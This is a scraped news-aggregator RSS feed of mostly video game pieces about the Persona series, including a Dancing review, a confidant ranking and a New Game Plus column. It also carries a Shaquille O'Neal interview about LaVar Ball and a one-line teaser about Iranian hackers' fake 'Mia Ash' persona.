Persona Dancing

Persona Dancing 5 and 3 review – The Persona games are effortlessly cool and hip (Image: ATLUS)

As you’d expect from rhythm games, there are single notes to hit, notes you hit together, notes you have to hold and notes in quick succession.

You get graded on how close you are to keeping the beat of the track and can rack up combos if you continue hitting notes without missing.

It plays and feels great, but it can become overwhelming with so many prompts appearing on-screen quickly and the pressure of trying not to miss them.

Persona Dancing

Persona Dancing 5 and 3 review – There can be a lot going on-screen all at once (Image: ATLUS)

One other note that you have to hit are scratch and fever notes – which can be registered with a quick flick of either analogue stick.

When you’re caught in the middle of a song, furiously pressing buttons and you just manage to flick the stick to hit these notes it feels so satisfying.

If you hit three fever notes during a song action on screen gets more frantic, with a second character jumping on stage to dance alongside with you.

The expertly created control system means you don’t need to buy an additional, bespoke controller to make the most of Persona Dancing.

But it’s definitely worth playing the tutorial first so you don’t feel overwhelmed by it all when you start.

Persona 5 Dancing and Persona 3 Dancing were developed simultaneously, and it shows with both games using the same engine and having the same modes.

There’s a dancing mode where you can choose which tracks you want to tackle and a social mode.

The latter replaces the lengthy story mode of Persona 4 Dancing, instead going for a more bite-sized approach.

Persona Dancing

Persona Dancing 5 and 3 review – It’s definitely worth playing the tutorial first (Image: ATLUS)

In total there are eight characters that you have five ‘social’ events with which unlock after certain objectives are hit.

These events delve deeper into the P3 and P5 Dancing plot, with different dialogue options on offer like in the mainline games.

It’s not as in-depth or lengthy as the P4 Dancing story mode which may be disappointing for some fans.

But on the other hand, it just means that there’s more of a focus on the dancing mode, which is what we’re all here for anyway.

Overall, Persona 5 Dancing in Starlight and Persona 3 Dancing in Moonlight are expertly crafted, brilliant music games.

They’re an absolute must-have for rhythm action game lovers and for fans of the Persona series.

Both titles are sold separately, so some may feel like choosing one over the other – depending on which tracks or characters they prefer.

But we’d advise going all in, especially as there’s a collection featuring all three Persona Dancing games under one roof.

Persona Dancing

Persona Dancing 5 and 3 review – ‘You’ll never see it coming’ how much fun this is (Image: ATLUS)

If you loved Persona 4 Dancing then both P3 and P5 Dancing are absolutely essential purchases.

And if you’re a Persona fan who has never played a Dancing game before then these latest titles are highly recommended.

‘You’ll never see it coming’ how much fun you can have with these slices of rhythm action heaven.

VERDICT: 4/5

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]]> https://briefnews.eu/persona-5-and-persona-3-dancing-review-rhythm-action-heaven-thats-simply-a-joy-to-play/feed/ 0 ‘It’s all marketing’: Shaq weighs in on LaVar Ball’s over-the-top persona https://briefnews.eu/its-all-marketing-shaq-weighs-in-on-lavar-balls-over-the-top-persona/ https://briefnews.eu/its-all-marketing-shaq-weighs-in-on-lavar-balls-over-the-top-persona/#respond Thu, 23 Nov 2017 06:12:44 +0000 http://briefnews.eu/its-all-marketing-shaq-weighs-in-on-lavar-balls-over-the-top-persona/ Business Insider asked Shaquille O’Neal for his thoughts on LaVar Ball, father of Lakers rookie Lonzo Ball, before he was the recipient of critical tweets from President Trump. 

Shaq stopped by Business Insider to talk about his collaboration with home security technology company Ring, to raise awareness about how homeowners can better protect their property this holiday season. Shaq recently kicked off a campaign with Ring’s CEO Jamie Siminoff around protecting holiday package deliveries – specifically as National Package Protection Day approaches on Nov. 29. Following is a transcript of the video. 

Business Insider: What do you think of Lonzo Ball so far? It’s very early in the season but what do you make of him?

Shaquille O’Neal: He’s playing safe. I would like to see him be more aggressive. The second game, when he scored 29 points against Phoenix, I think that’s the Lonzo Ball that people are expecting and are looking to see.

When you play for a storied franchise such as the Lakers, when great names come before you, people expect a certain way.

The other guy’s playing that way as a rookie, [Kuzma] or whatever it is, but [Lonzo’s] a … definitely to have a great player is one that keeps others involved, so he’s definitely doing that but I would like to see him be more aggressive.

Business Insider: What do you think of his father and his sort of eccentric persona?

(CNN clip starts)

LaVar Ball: There’s a lot of other things that’s going on, man.

CNN: No question about it.

LaVar Ball: Let him do his political affairs, and let me handle my son, and let’s just stay in our lane.

(CNN clip ends)

Shaquille O’Neal: I think that’s all marketing. You got to respect the fact that he loves his family, he takes cares of his kids, but I think it’s all marketing.

I can look at a person, especially when they’re talking to the camera, if they always end something with a smile, it’s acting. NBA stands for “nothing but acting.”

But, man loves his family, loves his kids, I can’t take that away from him. Some of his tactics are not businesslike but, hey, to each his own.

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]]> https://briefnews.eu/its-all-marketing-shaq-weighs-in-on-lavar-balls-over-the-top-persona/feed/ 0 Iranian Hackers Used a Fake Persona Named ‘Mia Ash’ To Ensnare Victims https://briefnews.eu/iranian-hackers-used-a-fake-persona-named-mia-ash-to-ensnare-victims/ https://briefnews.eu/iranian-hackers-used-a-fake-persona-named-mia-ash-to-ensnare-victims/#respond Thu, 27 Jul 2017 14:05:49 +0000 http://briefnews.eu/iranian-hackers-used-a-fake-persona-named-mia-ash-to-ensnare-victims/ A fake persona tied to a massive international spying campaign illustrates how social engineering attacks have evolved.


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]]> https://briefnews.eu/iranian-hackers-used-a-fake-persona-named-mia-ash-to-ensnare-victims/feed/ 0 Persona 3’s ending made me appreciate all of life’s little endings https://briefnews.eu/persona-3s-ending-made-me-appreciate-all-of-lifes-little-endings/ https://briefnews.eu/persona-3s-ending-made-me-appreciate-all-of-lifes-little-endings/#respond Sat, 24 Jun 2017 18:16:49 +0000 http://briefnews.eu/persona-3s-ending-made-me-appreciate-all-of-lifes-little-endings/

Enlarge / It’s hard to tell from this promo image, but this game is a poignant meditation on friendship and death.

It was easier for me to walk away from Persona 3 than I expected. The game about nine friends and a dog—which celebrates its tenth anniversary in the States this year—follows a similar arc to most role-playing games. That means the gang of plucky young people ultimately saves the world. Yet its 21st century characters and setting made Persona 3 far more relatable and endearing to me than the high-flying heroes of Final Fantasy or Chrono Trigger. It helps, too, that this was the series’ first game to sport a now-signature blend of dating sim and turn-based dungeon crawling.

Playing Persona 3, I felt I was experiencing the first game designed to let me take my time. Whether that meant meeting up with a friend for kendo practice or hanging out with a couple of elderly used booksellers, there was nearly always something more digestible, recognizable, and less world-shatteringly urgent to do than fighting gods and monsters. It’s the kind of stuff that let me inhabit a game’s world for a bit rather than simply tour through it. Tearing up specters and saving the Earth from supernatural threats is fun, but it’s a bit harder to relate to in a way that feels like my real life.

By the end of the game, I was nearly as attached to the city of Iwatodai and its inhabitants as I’ve ever been to a real place. The downside is that this made it that much harder to eventually say goodbye to those virtual sights I saw and friends I made along the way. What made that goodbye easier was a special, quiet message before the closing credits—one that reminds me how to accept the end of comfort and friendship even today.

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Ars Technica

]]> https://briefnews.eu/persona-3s-ending-made-me-appreciate-all-of-lifes-little-endings/feed/ 0 Bring On The Persona 5 Figures https://briefnews.eu/bring-on-the-persona-5-figures/ https://briefnews.eu/bring-on-the-persona-5-figures/#respond Fri, 19 May 2017 02:17:06 +0000 http://briefnews.eu/bring-on-the-persona-5-figures/

They just can not make Persona 5 figures fast enough. And while we wait for Makoto and Yusuke, here’s a Futaba (with bonus Morgana) from Phat Company.

She’s not poseable, so you can’t sit her in a computer chair, but she does come with interchangable parts, meaning you can swap between a “jacket” look and a “Morgana & phone” outfit.

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It’s due out in December, and you can preorder here from importers like AmiAmi.

Kotaku

]]> https://briefnews.eu/bring-on-the-persona-5-figures/feed/ 0 Persona 5 Confidants, Ranked https://briefnews.eu/persona-5-confidants-ranked/ https://briefnews.eu/persona-5-confidants-ranked/#respond Mon, 15 May 2017 23:39:38 +0000 http://briefnews.eu/persona-5-confidants-ranked/

Persona 5 is a game entirely about making friends with magic teens and well-meaning (well, mostly) adults. Yet not all friends are created equal.

In Persona 5, certain important figures are known as “Confidants”, and are the characters who you’re able to become close to—or at least form strong bonds with—and who over the course of the game will both aid you in battle (either directly or indirectly) and spend time with you revealing their personal story.

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As we’ve talked about, there are so many confidants in Persona 5, and so little time to spend with them all, that only the most dedicated (or those adhering closest to FAQs) will be able to max them all out to their fullest potential.

For the rest of us, we’re left with a game full of choices: given your limited time over the course of one year, which confidants will you choose to spend your free days with?

Let me help you. You should hang out with these ones. I am not judging these on any single set of criteria; some will be useful for their perks, others are just cool and fun kids to hang out with. I’m also excluding the ones you can’t hang out with, and whose Confidant rank increases through story progression, not days spent fishing and shopping for books.

1. Makoto: I would give my life for Makoto and her supernatural motorcycle.

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2. Takemi:

3. Yusuke: Ah, if only Atlus had been brave enough to let us romance Yusuke, a delicate and alien flower who only the kindest and most understanding heart could guide through Tokyo’s concrete jungle.

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4. Hifumi: An imperious Shogi goddess, Hifumi is a better-dressed Makoto, only with a penchant for military strategy over leathers and fists. I wished with every passing day that Hifumi went to my school instead of Ryuji.

5. Futaba: You would not expect a video game about kids saving the world through turn-based combat to be a shining example of the depiction of anxiety in popular culture, but here we are. Futaba’s emergence from recluse to vital member of the Phantom Thieves is illustrated beautifully through her relationship with the Protagonist.

6. Kawakami: At the beginning of the game this scruffy, gutless teacher seems a waste of your precious time. But stick with her, because not only does she provide some very useful perks later down the line, but the conclusion of her story—provided you don’t try and date her—is one of the sweetest in the game.

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7. Sojiro: Sojiro’s transformation from “grumpy asshole” to “Curry Dad” takes almost the length of the game, and it happens so gradually you barely notice it. It’s a cute representation of your own progress through the game, and some of his abilities are useful, especially at the beginning and end of your story.

8. Iwai: It can take a long time to get to know Iwai, the grumpy gun shop owner, thanks to an insane social skills bottleneck imposed on him early in the game. Get past it though and you can start to hang out and do some work. The whole Yakuza thing is very overplayed, but it’s hard not to like the guy. He means well and works hard, and adds a little grit to a cast that is 90% Pencil-Thin Teens.

9. Ann: There are two Anns in Persona 5. One is hostile to those around her and haunted by her role in a school scandal. The other is a teen model struggling to come to terms with her passion (and who serves as a focal point for pervy anime cutscenes). Either could have made for an interesting character had Atlus stuck with one and pursued it, but the game seems to have written both Anns in isolation, and neither fleshes them out nor manages to bring them together. A damn shame, because her character design is amazing.

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10. Shinya: Shinya is a whiny little snot who is tough to like, but his gun powers are cool, so there’s that.

11. Haru: Much like Persona 5 itself lingers one Palace too long, it also adds an extra party member towards the end where no more were needed. Haru’s story may be tragic, but there is absolutely nothing compelling about her personality or tale unless you are really into knitwear.

12. Chihaya: A hippy fortune-teller, at first Chihaya seems a bit of a sap. And her best power, the ability to enhance the amount of social skills you earn for completing a certain task, are available to anyone, not just those progressing down her Confidant ranks. But still, she’s a nice kid.

13. Yoshida: I see why he’s here. The game is so critical of modern politics that it needed some kind of redemptive tale to stop it slipping into some kind of nihilistic wasteland. But with useless charm boosts (you can get them easier elsewhere) and the fact he’s a fat old dude who talks politics, there’s not much compelling you, a magical high school teen, to spend time with Yoshida.

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14. Mishima: Do not spend time with this dork unless you absolutely have to.

15. Ohya: Ohya is a bad person and an even worse journalist. Of all the characters I would want to go drinking with in this game, she is bottom of the list.

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16. Ryuji: Get the fuck out of here, Ryuji. Everything you touch turns to ash.

Kotaku

]]> https://briefnews.eu/persona-5-confidants-ranked/feed/ 0 Persona 5’s New Game Plus Is Great https://briefnews.eu/persona-5s-new-game-plus-is-great/ https://briefnews.eu/persona-5s-new-game-plus-is-great/#respond Tue, 09 May 2017 06:30:46 +0000 http://briefnews.eu/persona-5s-new-game-plus-is-great/

I finished Persona 5 a few weeks ago and, unable to get my magical high school friends out of my head, decided I’d jump back in and give its New Game Plus mode a try. It’s not something I normally do with games, but I’m sure glad I did it here.

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I don’t usually bother with NG+ modes in games because I don’t normally play games twice. I like to buckle up, enjoy the ride, get to the end of a story then move on to something else (I rarely rewatch movies or TV shows for the same reason).

I’m also not usually bothered with the perks normally associated with NG+. If you’re someone who plays a game like Dark Souls to enjoy the mechanics, then I appreciate why you’d want to keep coming back to experience stuff like increased difficulty. But since I’m normally playing a game for its story rather than its challenge, there’s little point coming back for…the same story.

But Persona 5 is different. It’s literally impossible to see the whole story on your first playthrough, as the game’s time limits mean you’re constantly having to juggle and prioritise your social schedule. Even if you wanted to, you could never see or do anything the game has to offer on a single run.

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A second playthrough using Persona 5's NG+, though, lets you do just that, while giving enough of a boost to your situation that you can blow right by the boring stuff and get to work dating/hanging out with people who you missed first time around.

You gain access to NG+ once you’ve completed Persona 5 the first time around, and firing it up drops you right back at the start of the game with all your money, Persona, equipment (like weapons and armour) and skill cards.

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Most importantly, you also retain all of your social stats (Knowledge, Charm, etc), meaning that the biggest drain on your free time—studying and working out—is no longer a concern. You’re now free to spend your spare hours working on your confidant links (which don’t carry over), and don’t even have to worry about the statistical gate-keeping (like needing a certain charm level for a Makoto date) that plagued your initial run.

Depending on how much you enjoy the game’s dungeons, you’ll still have to fight your way through them, but your progress will obviously now be much quicker considering you’re packing end-game gear. You’ll also be able to save time throughout the game—and we’re talking hours and hours here—of cutscenes by simply skipping them, since you already know what’s going on.

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On my first time through the game, I dated Makoto and maxxed a few other links, but didn’t get anywhere near as far as I wanted to down the storylines of characters like Hifumi, Yusuke and Iwai. Now I’m going to get that chance, while also getting to know folks like Haru and the kid at the arcade, both of whom I straight-up ignored, while also working jobs I never did and visiting date spots like the maid cafe that I never made it to.

While this won’t change the central storyline of the game, by swapping up the peripheral tales I’m enjoying around the fringes, it’s going to feel…not quite like an all-new game, but certainly a fresh take on it. As though Atlus had released a Persona 5 Director’s Cut, or an expansion called “Why Can’t I Date Yusuke”.

Throw in the added bonus of a powerful new Persona that you can craft and a new Mementos boss fight that’s only available on NG+ and you can see that, despite the drain Persona 5 takes on you in its final 10-20 hours, jumping right back in isn’t the worst idea in the world. After all, at its heart Persona 5 is a game about making friends: what can be better than making new ones?

Kotaku

]]> https://briefnews.eu/persona-5s-new-game-plus-is-great/feed/ 0 Persona 5 vs Grand Theft Auto https://briefnews.eu/persona-5-vs-grand-theft-auto/ https://briefnews.eu/persona-5-vs-grand-theft-auto/#respond Thu, 27 Apr 2017 01:04:19 +0000 http://briefnews.eu/persona-5-vs-grand-theft-auto/

In case your team of Phantom Thieves ever feel like moving onto crimes of a more tangible nature, here are a series of downloads that will let you run around Los Santos as Ann, Makoto, Yusuke and Joker.

If you’re wondering why Ryuji isn’t included, it’s because Ryuji is a piece of shit.

You can download the models—which look like they’re just ripped straight out of P5—here. Note they’re for the PC version of San Andreas, not Grand Theft Auto V.

Kotaku

]]> https://briefnews.eu/persona-5-vs-grand-theft-auto/feed/ 0